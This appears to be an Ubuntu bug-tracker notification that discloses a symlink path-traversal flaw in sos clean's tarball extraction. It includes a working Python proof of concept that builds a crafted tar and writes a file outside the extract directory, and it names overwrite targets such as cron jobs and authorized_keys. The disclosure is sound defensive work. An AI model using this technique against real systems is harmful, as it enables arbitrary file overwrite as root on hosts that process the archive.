Public bug reported:

Summary
sos clean extracts a caller-supplied tarball with tarfile.fully_trusted_filter. 
A dest-containment check exists but only inspects member.name. It does not 
inspect symlink or hardlink targets. extractall() can therefore write files 
outside the extract directory as the process UID.

Fix proposed at #4461

Impact
sos clean is commonly run as root on a third-party sosreport (support / 
customer archive). A crafted tarball can create or overwrite arbitrary files 
writable by that UID (e.g. cron jobs, authorized_keys, service units). 
Integrity, confidentiality (by overwrite/replacement), and availability are all 
High. User interaction is required: the operator must pass the archive to sos 
clean.

Technical details
extract_archive() sets:

archive.extraction_filter = getattr(tarfile, 'fully_trusted_filter',
                                    (lambda member, path: member))
Then, for each member:

member_path = os.path.join(path, member.name)
abs_target = os.path.abspath(member_path)
if os.path.commonprefix([abs_directory, abs_target]) != abs_directory:
    raise Exception(...)
fully_trusted_filter is PEP-706 legacy extract (follows links, no dest 
restriction). The guard only concatenates dest + member.name.

For both of the following, abspath(dest + name) stays under dest, so the
guard allows them:

SYMTYPE member sosreport-host/var/log/link with linkname an absolute host path
REGTYPE member sosreport-host/var/log/link/<file>
extractall() creates the symlink, then writes <file> through it, outside dest.

This path was taken after #3330: data_filter raised false positives on
Python 3.10/3.11, so extraction was switched to fully_trusted.

Confirmed on Python 3.14.

Reproducer
import io, os, tarfile, tempfile

def vulnerable_extract_archive(archive_path, tmpdir):
    """Verbatim from sos/cleaner/archives/__init__.py (main branch)."""
    with tarfile.open(archive_path) as archive:
        path = os.path.join(tmpdir, 'cleaner')
        archive.extraction_filter = getattr(
            tarfile, 'fully_trusted_filter',
            (lambda member, path: member))

        members = archive.getmembers()
        for member in members:
            member_path = os.path.join(path, member.name)
            abs_directory = os.path.abspath(path)
            abs_target = os.path.abspath(member_path)
            prefix = os.path.commonprefix([abs_directory, abs_target])
            if prefix != abs_directory:
                raise Exception("Attempted path traversal in tarfile")
        archive.extractall(path, members=members)

victim_dir = tempfile.mkdtemp(prefix="sos-victim-")
victim_file = os.path.join(victim_dir, "pwned")

tar_path = tempfile.mktemp(suffix=".tar")
with tarfile.open(tar_path, "w") as tf:
    sl = tarfile.TarInfo(name="sosreport-host/var/log/link")
    sl.type = tarfile.SYMTYPE
    sl.linkname = victim_dir
    tf.addfile(sl)

    payload = b"WRITTEN-OUTSIDE-DEST\n"
    rf = tarfile.TarInfo(name="sosreport-host/var/log/link/pwned")
    rf.size = len(payload)
    tf.addfile(rf, io.BytesIO(payload))

dest = tempfile.mkdtemp(prefix="sos-extract-")
vulnerable_extract_archive(tar_path, dest)

if os.path.exists(victim_file):
    print("VULNERABLE:", open(victim_file).read())
else:
    print("NOT VULNERABLE")

os.remove(tar_path)
Expected: NOT VULNERABLE — the symlink member should be rejected.
Actual: VULNERABLE: WRITTEN-OUTSIDE-DEST — the file is created at the symlink 
target.

AV:L local processing of the archive · AC:L no special conditions · PR:N
attacker needs no privileges on the cleaner host · UI:R operator runs
sos clean on the archive · S:U impact is on that host · C/I/A:H
arbitrary write as the cleaner UID (typically root).

** Affects: sosreport
     Importance: Unknown
         Status: Unknown

** Affects: sos (Ubuntu)
     Importance: Undecided
         Status: New

** Affects: sosreport (Ubuntu Bionic)
     Importance: Undecided
         Status: New

** Affects: sosreport (Ubuntu Focal)
     Importance: Undecided
         Status: New

** Affects: sosreport (Ubuntu Jammy)
     Importance: Undecided
         Status: New

** Affects: sosreport (Ubuntu Noble)
     Importance: Undecided
         Status: New

** Affects: sos (Ubuntu Resolute)
     Importance: Undecided
         Status: New

** Affects: sos (Ubuntu Stonking)
     Importance: Undecided
         Status: New

** Also affects: sos (Ubuntu Focal)
   Importance: Undecided
       Status: New

** Also affects: sos (Ubuntu Stonking)
   Importance: Undecided
       Status: New

** Also affects: sos (Ubuntu Bionic)
   Importance: Undecided
       Status: New

** Also affects: sos (Ubuntu Resolute)
   Importance: Undecided
       Status: New

** Also affects: sos (Ubuntu Noble)
   Importance: Undecided
       Status: New

** Also affects: sos (Ubuntu Jammy)
   Importance: Undecided
       Status: New

** Also affects: sosreport (Ubuntu)
   Importance: Undecided
       Status: New

** No longer affects: sos (Ubuntu Bionic)

** No longer affects: sos (Ubuntu Focal)

** No longer affects: sos (Ubuntu Jammy)

** No longer affects: sos (Ubuntu Noble)

** No longer affects: sosreport (Ubuntu Stonking)

** No longer affects: sosreport (Ubuntu Resolute)

** No longer affects: sosreport (Ubuntu)

** Bug watch added: github.com/sosreport/sos/issues #4460
   https://github.com/sosreport/sos/issues/4460

** Also affects: sosreport via
   https://github.com/sosreport/sos/issues/4460
   Importance: Unknown
       Status: Unknown

** CVE added: https://cve.org/CVERecord?id=CVE-2026-79655

-- 
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2168552

Title:
  [cleaner] extract follows out-of-tree tar symlinks

To manage notifications about this bug go to:
https://bugs.launchpad.net/sosreport/+bug/2168552/+subscriptions


-- 
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs

Reply via email to